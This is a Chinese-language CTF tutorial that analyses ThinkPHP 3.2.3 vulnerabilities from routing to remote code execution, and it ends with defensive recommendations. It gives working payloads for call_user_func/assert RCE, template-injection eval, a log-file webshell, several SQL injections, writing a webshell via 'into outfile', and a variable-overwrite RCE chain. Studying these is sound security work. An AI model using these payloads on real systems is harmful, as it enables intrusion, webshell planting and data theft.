ctfshow ThinkPHP篇—3.2.3:从路由到RCE的漏洞链深度剖析
1. ThinkPHP 3.2.3路由机制解析
ThinkPHP 3.2.3作为经典的PHP框架,其路由机制是安全审计的重点。我们先来看四种默认路由模式:
- PATHINFO模式:
http://domain/index.php/模块/控制器/操作/参数/值 - 普通模式:
http://domain/index.php?m=模块&c=控制器&a=操作&参数=值 - 兼容模式:
http://domain/index.php?s=/模块/控制器/操作/参数/值 - REWRITE模式:
http://domain/模块/控制器/操作/参数/值
在CTFshow靶场中,常见的漏洞触发点往往始于路由配置不当。比如当开启URL_ROUTER_ON时,框架会加载路由规则:
// Application/Common/Conf/config.php 'URL_ROUTE_RULES' => array( 'ctfshow/:f/:a' => function($f,$a){ call_user_func($f, $a); } )这种配置直接将URL参数传递给call_user_func(),典型的危险操作。我在实际测试中发现,虽然直接传system('ls /')会被斜杠过滤,但通过assert+eval组合可以绕过:
/index.php/ctfshow/assert/eval($_POST[1]) POST: 1=system('cat /f*');2. 控制器方法调用中的RCE漏洞
ThinkPHP的控制器方法调用机制存在多个危险函数入口。以IndexController.class.php为例:
namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index($n=''){ $this->show($n); } }当TMPL_ENGINE_TYPE设置为php时,show()方法最终会执行:
// ThinkPHP/Library/Think/View.class.php if(!empty($_content)) { eval('?>'.$_content); // 直接执行PHP代码 }这就形成了经典的模板注入漏洞。我在某次渗透测试中成功利用:
?n=<?php system('cat /flag');?>3. 日志文件泄露与利用
开启调试模式时,ThinkPHP会在Application/Runtime/Logs/目录生成日志文件,命名格式为年_月_日.log。我曾通过爆破发现历史日志中包含测试用的木马:
// 21_04_05.log <?php @eval($_GET['showctf']);?>利用方式极其简单:
/index.php?showctf=system('cat /f*');4. SQL注入漏洞链分析
ThinkPHP 3.2.3的SQL注入主要出现在以下几种场景:
4.1 直接字符串拼接
$name = M('Users')->where('id='.$id)->find();典型的数字型注入,payload示例:
?id=0) union select 1,flag,3,4 from flags%234.2 comment注入
$user = M('Users')->comment($id)->find(intval($id));利用注释符实现文件写入:
?id=1*/ into outfile "/var/www/html/shell.php" lines terminated by "<?php eval($_POST[1]);?>" /*4.3 EXP表达式注入
$map = array('id'=>$_GET['id']); $user = M('Users')->where($map)->find();通过数组参数触发:
?id[0]=exp&id[1]==0 union select 1,flag,2,3 from flags%235. 变量覆盖到RCE的完整链条
最危险的漏洞链往往始于变量覆盖:
public function index($name='',$from='ctfshow'){ $this->assign($name,$from); $this->display('index'); }跟踪assign()方法:
// ThinkPHP/Library/Think/View.class.php public function assign($name,$value=''){ if(is_array($name)){ $this->tVar = array_merge($this->tVar,$name); }else{ $this->tVar[$name] = $value; } }结合display()中的extract()操作,最终在模板渲染时形成RCE:
?name[_content]=<?php system('cat /f*');?>这个漏洞链的利用关键在于:
- 通过数组参数覆盖
tVar变量 extract()将数组键名转为变量- 控制
$_content进入eval()执行
6. 防御方案与最佳实践
根据实战经验,我总结出以下防护措施:
路由安全
- 禁用
URL_ROUTE_RULES中的匿名函数 - 设置
URL_PARAMS_FILTER对参数过滤
- 禁用
数据库操作
- 使用预处理语句:
$Model->where('id=%d',$id)->find();- 关闭调试模式:
'APP_DEBUG' => false
模板渲染
- 设置
TMPL_ENGINE_TYPE为Think而非php - 启用模板编译:
'TMPL_CACHE_ON'=>true
- 设置
日志管理
- 设置
LOG_FILE_SIZE限制日志大小 - 定期清理
Runtime目录
- 设置
在最近一次企业级审计中,通过静态分析+动态fuzz的组合方案,我们发现了3处潜在的路由安全问题。建议开发者升级到ThinkPHP 5.0+版本,其路由机制和SQL构建器都进行了彻底重构,安全性有显著提升。
